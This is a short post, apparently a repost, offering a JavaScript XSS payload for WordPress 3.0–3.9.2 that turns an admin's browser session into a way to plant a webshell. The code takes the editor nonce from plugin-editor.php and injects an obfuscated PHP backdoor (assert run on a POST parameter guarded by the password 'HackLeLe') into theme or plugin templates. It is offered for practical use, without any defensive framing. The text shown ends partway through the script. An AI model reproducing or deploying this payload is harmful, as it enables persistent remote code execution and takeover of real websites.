Wordpress 3.0-3.9.2 XSS Getshell Payload (you can use the current Getshell template or all plug-in templates)

Wordpress 3.0-3.9.2 XSS Getshell Payload (you can use the current Getshell template or all plug-in templates)

If it is used in practice, remember to send the line "console. lnfo...
Password: HackLeLe
This getshell js has the functions of the current getshell template and all the getshell templates.
The default value is getshell. The current template StartGetshell = 0.
If you want to change the value of StartGetshell to 1 in all the getshell plug-in templates

/*HackLeLe WordPress Getshell*/var a = location.href.split('/');var file = "";var xurl = location.href.replace(a[a.length-1],"plugin-editor.php");var file2 = [];var StartGetshell = 0;var shellcode = '<?php\n$k="ass"."ert"; $k(${"_PO"."ST"} ["HackLeLe"]);';jQuery.ajax({  url: xurl,  type: 'GET',  dataType: 'html',  data: {},}).done(function(data) {  var temp = jQuery(data);  var Xtoken = "";  var Tmpcode = "";  temp.find('input#_wpnonce').each(function(i,o){    var o=jQuery(o);    Xtoken=o.attr('value');  });  temp.find('textarea#newcontent').each(function(i,o){    var o=jQuery(o);    Tmpcode = o.text().replace('<?php',shellcode);      })  temp.find('div.alignleft big strong').each(function(i,o){    var o=jQuery(o);    file = o.text();  })